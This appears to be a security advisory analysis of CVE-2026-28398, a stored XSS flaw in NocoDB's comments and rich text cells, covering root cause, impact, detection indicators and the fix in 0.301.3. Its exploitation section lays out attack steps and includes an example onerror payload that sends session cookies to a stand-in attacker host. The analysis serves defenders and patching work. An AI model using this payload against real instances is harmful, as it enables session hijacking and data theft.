CVE-2026-28398: 
JavaScript vulnerability analysis and mitigation

CVE-2026-28398 is a stored Cross-Site Scripting (XSS) vulnerability in NocoDB, an open-source platform for building databases as spreadsheets. User-controlled content in comments and rich text cells was rendered via Vue's v-html directive without sanitization, enabling persistent script injection. All NocoDB versions up to and including 0.301.2 (npm package) are affected; the issue was patched in version 0.301.3. It carries a CVSS v3.1 base score of 5.4 (Medium) and a CVSS v4.0 base score of 5.3 (Medium) (GitHub Advisory). The vulnerability was published on March 2, 2026, and reported by @bugbunny-research (bugbunny.ai) (NocoDB Advisory).

The root cause (CWE-79) lies in two frontend components — Comments.vue and TextArea.vue — which parsed user input with markdown-it configured with html: true and then injected the resulting HTML directly via v-html, bypassing sanitization. Although the codebase included vue-dompurify-html, these code paths did not use it. On the server side, Comment.insert() called extractProps() instead of the sanitizing variant extractPropsAndSanitize(), meaning malicious HTML was also persisted to the database without cleansing. Exploitation requires at minimum a Commenter role for the comments vector or an Editor role for rich text cells; a victim user must subsequently view the affected content to trigger script execution (NocoDB Advisory, GitHub Advisory). The same root cause was independently identified by GitHub Security Lab (see related advisories GHSA-rcph-x7mj-54mm and GHSA-wwp2-x4rj-j8rm).

Successful exploitation allows a low-privileged attacker to inject persistent malicious scripts that execute in the browsers of any user who views the affected comment or rich text cell. This can lead to session hijacking, unauthorized access to data visible within the victim's NocoDB session, and manipulation of database content on behalf of the victim. In multi-user or sensitive-data environments, the blast radius extends to all users with access to the compromised table or view (GitHub Advisory, NocoDB Advisory).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at the time of disclosure (GitHub Advisory). The EPSS score is approximately 0.041% (13th percentile), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported.

1. Obtain a low-privileged account: Register or obtain credentials for a NocoDB instance running version ≤ 0.301.2 with at least Commenter role (for comments) or Editor role (for rich text cells).
2. Craft a malicious payload: Prepare an XSS payload embedded in HTML/Markdown, e.g., <img src=x onerror="document.location='https://attacker.example/steal?c='+document.cookie"> or a <script> tag that exfiltrates session tokens.
3. Inject via comment or rich text cell: Post the payload as a comment on a record, or enter it into a rich text (LongText) cell. Because markdown-it is configured with html: true and the content is stored via Comment.insert() without sanitization, the raw HTML is persisted to the database.
4. Wait for victim interaction: When another authenticated user opens the row expand view or scrolls to the affected cell/comment, the v-html directive renders the stored HTML, executing the injected script in the victim's browser context.
5. Harvest results: The attacker receives the victim's session cookie or authentication token at the controlled endpoint, enabling session hijacking or further unauthorized actions within NocoDB (NocoDB Advisory, GitHub Advisory).

• Network: Outbound HTTP requests from a victim's browser to an unexpected external domain immediately after viewing a NocoDB record or comment (potential data exfiltration); unusual fetch or XMLHttpRequest calls to attacker-controlled endpoints visible in browser developer tools or proxy logs.
• Logs: NocoDB application logs showing comment or rich text cell submissions containing raw HTML tags (e.g., <script>, <img onerror=, <svg onload=) from low-privileged accounts.
• File System / Database: Database records in the comments or rich text columns containing unsanitized HTML markup, particularly <script>, event handler attributes (onerror, onload, onclick), or javascript: URIs.
• Browser / Session: Unexpected session invalidation or re-authentication prompts for users who recently viewed specific NocoDB records; duplicate or anomalous API calls made under a legitimate user's session token.

Upgrade NocoDB to version 0.301.3 or later, which replaces raw v-html rendering with vue-dompurify-html in the affected components and switches server-side comment insertion to use extractPropsAndSanitize() (NocoDB Release, NocoDB Advisory). No configuration-based workaround is available for versions prior to 0.301.3. Administrators should prioritize patching instances with multiple users or those handling sensitive data, and should audit existing comments and rich text cells for suspicious HTML content as a precautionary measure.

The vulnerability was independently reported by @bugbunny-research (bugbunny.ai) and also discovered by GitHub Security Lab (related advisories GHSA-rcph-x7mj-54mm and GHSA-wwp2-x4rj-j8rm), indicating notable research interest in NocoDB's input handling (NocoDB Advisory). The NocoDB maintainers acknowledged multiple security researchers in the 0.301.3 release notes and noted that full advisory details would be published after users had time to upgrade (NocoDB Release). No significant broader media coverage or social media discussion beyond standard CVE tracking feeds has been observed.